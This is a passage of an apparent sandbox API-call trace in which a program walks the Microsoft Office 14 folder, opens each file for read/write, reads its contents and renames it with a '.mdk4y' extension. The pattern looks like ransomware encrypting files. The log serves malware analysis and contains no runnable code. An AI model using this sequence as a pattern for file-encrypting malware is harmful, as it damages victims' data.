lpWideCharStr="MSRTEDIT.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSRTEDIT.DLLnifest", lpUsedDefaultChar=0x37dfd8) returned 12 [0227.900] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSRTEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msrtedit.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830313100000) returned 1 [0227.901] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1e550, lpOverlapped=0x0) returned 1 [0227.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830317500000) returned 1 [0227.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830317500000) returned 1 [0227.947] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSRTEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msrtedit.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSRTEDIT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msrtedit.dll.mdk4y")) returned 1 [0227.949] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.949] AreFileApisANSI () returned 1 [0227.949] GetACP () returned 0x4e4 [0227.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORDB.EXE", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSTORDB.EXEL", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.950] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORDB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mstordb.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830318000000) returned 1 [0227.950] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xff368, lpOverlapped=0x0) returned 1 [0227.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830320500000) returned 1 [0227.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830320500000) returned 1 [0227.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORDB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mstordb.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORDB.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mstordb.exe.mdk4y")) returned 1 [0227.986] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.986] AreFileApisANSI () returned 1 [0227.986] GetACP () returned 0x4e4 [0227.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORE.EXE", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSTORE.EXEE", lpUsedDefaultChar=0x37dfd8) returned 10 [0227.986] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830321700000) returned 1 [0227.987] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x20158, lpOverlapped=0x0) returned 1 [0228.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830324000000) returned 1 [0228.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830324000000) returned 1 [0228.011] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mstore.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORE.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mstore.exe.mdk4y")) returned 1 [0228.016] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.016] AreFileApisANSI () returned 1 [0228.016] GetACP () returned 0x4e4 [0228.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORES.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSTORES.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0228.016] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mstores.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830324700000) returned 1 [0228.017] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x89b58, lpOverlapped=0x0) returned 1 [0228.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830328200000) returned 1 [0228.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830328300000) returned 1 [0228.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mstores.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mstores.dll.mdk4y")) returned 1 [0228.060] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.060] AreFileApisANSI () returned 1 [0228.060] GetACP () returned 0x4e4 [0228.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSWORD.OLB", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSWORD.OLBL", lpUsedDefaultChar=0x37dfd8) returned 10 [0228.060] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830332700000) returned 1 [0228.097] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xdc158, lpOverlapped=0x0) returned 1 [0228.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830338400000) returned 1 [0228.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830338400000) returned 1 [0228.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb.mdk4y")) returned 1 [0228.165] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.165] AreFileApisANSI () returned 1 [0228.165] GetACP () returned 0x4e4 [0228.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSYUBIN7.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSYUBIN7.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0228.165] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSYUBIN7.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msyubin7.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830339700000) returned 1 [0228.167] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x46530, lpOverlapped=0x0) returned 1 [0228.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830341400000) returned 1 [0228.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830341400000) returned 1 [0228.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSYUBIN7.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msyubin7.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSYUBIN7.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msyubin7.dll.mdk4y")) returned 1 [0228.190] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.190] AreFileApisANSI () returned 1 [0228.190] GetACP () returned 0x4e4 [0228.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MYSL.ICO", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MYSL.ICO.DLL", lpUsedDefaultChar=0x37dfd8) returned 8 [0228.190] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830342100000) returned 1 [0228.191] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1536, lpOverlapped=0x0) returned 1 [0228.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830345800000) returned 1 [0228.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830345800000) returned 1 [0228.229] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico.mdk4y")) returned 1 [0228.232] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.232] AreFileApisANSI () returned 1 [0228.232] GetACP () returned 0x4e4 [0228.232] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAME.DLL", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NAME.DLL", lpUsedDefaultChar=0x37dfd8) returned 8 [0228.232] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAME.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\name.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830346300000) returned 1 [0228.233] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1b968, lpOverlapped=0x0) returned 1 [0228.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830346400000) returned 1 [0228.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830346400000) returned 1 [0228.235] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAME.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\name.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAME.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\name.dll.mdk4y")) returned 1 [0228.238] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.238] AreFileApisANSI () returned 1 [0228.238] GetACP () returned 0x4e4 [0228.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAMECONTROLPROXY.DLL", cchWideChar=20, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NAMECONTROLPROXY.DLLDLL", lpUsedDefaultChar=0x37dfd8) returned 20 [0228.238] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830346900000) returned 1 [0228.239] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4780, lpOverlapped=0x0) returned 1 [0228.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830347200000) returned 1 [0228.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830347200000) returned 1 [0228.243] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolproxy.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolproxy.dll.mdk4y")) returned 1 [0228.245] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.245] AreFileApisANSI () returned 1 [0228.245] GetACP () returned 0x4e4 [0228.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAMECONTROLSERVER.EXE", cchWideChar=21, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NAMECONTROLSERVER.EXELL", lpUsedDefaultChar=0x37dfd8) returned 21 [0228.245] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolserver.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830347600000) returned 1 [0228.246] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1ab80, lpOverlapped=0x0) returned 1 [0228.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830350700000) returned 1 [0228.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830350700000) returned 1 [0228.278] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolserver.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLSERVER.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolserver.exe.mdk4y")) returned 1 [0228.281] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.281] AreFileApisANSI () returned 1 [0228.281] GetACP () returned 0x4e4 [0228.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAMEEXT.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NAMEEXT.DLLSERVER.EXE", lpUsedDefaultChar=0x37dfd8) returned 11 [0228.281] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMEEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nameext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830351200000) returned 1 [0228.282] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x26180, lpOverlapped=0x0) returned 1 [0228.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830353300000) returned 1 [0228.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830353300000) returned 1 [0228.305] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMEEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nameext.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMEEXT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\nameext.dll.mdk4y")) returned 1 [0228.308] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.308] AreFileApisANSI () returned 1 [0228.308] GetACP () returned 0x4e4 [0228.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NL7Data0011.DLL", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NL7Data0011.DLLER.EXE", lpUsedDefaultChar=0x37dfd8) returned 15 [0228.308] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830353900000) returned 1 [0228.309] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0228.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830358900000) returned 1 [0228.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830358900000) returned 1 [0228.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll.mdk4y")) returned 1 [0228.400] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.400] AreFileApisANSI () returned 1 [0228.400] GetACP () returned 0x4e4 [0228.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NL7Lexicons0011.DLL", cchWideChar=19, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NL7Lexicons0011.DLLXE", lpUsedDefaultChar=0x37dfd8) returned 19 [0228.400] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830363100000) returned 1 [0228.401] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0228.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830368800000) returned 1 [0228.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830368800000) returned 1 [0228.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll.mdk4y")) returned 1 [0228.470] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.470] AreFileApisANSI () returned 1 [0228.470] GetACP () returned 0x4e4 [0228.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NL7MODELS0009.dll", cchWideChar=17, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NL7MODELS0009.dllLL", lpUsedDefaultChar=0x37dfd8) returned 17 [0228.470] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.470] AreFileApisANSI () returned 1 [0228.470] GetACP () returned 0x4e4 [0228.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NL7MODELS000A.dll", cchWideChar=17, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NL7MODELS000A.dll", lpUsedDefaultChar=0x37dfd8) returned 17 [0228.470] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.470] AreFileApisANSI () returned 1 [0228.470] GetACP () returned 0x4e4 [0228.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NL7MODELS000C.dll", cchWideChar=17, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NL7MODELS000C.dll", lpUsedDefaultChar=0x37dfd8) returned 17 [0228.470] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.470] AreFileApisANSI () returned 1 [0228.470] GetACP () returned 0x4e4 [0228.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NL7Models0011.DLL", cchWideChar=17, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NL7Models0011.DLL", lpUsedDefaultChar=0x37dfd8) returned 17 [0228.470] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830370200000) returned 1 [0228.472] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0228.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830375100000) returned 1 [0228.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830375100000) returned 1 [0228.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll.mdk4y")) returned 1 [0228.536] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.536] AreFileApisANSI () 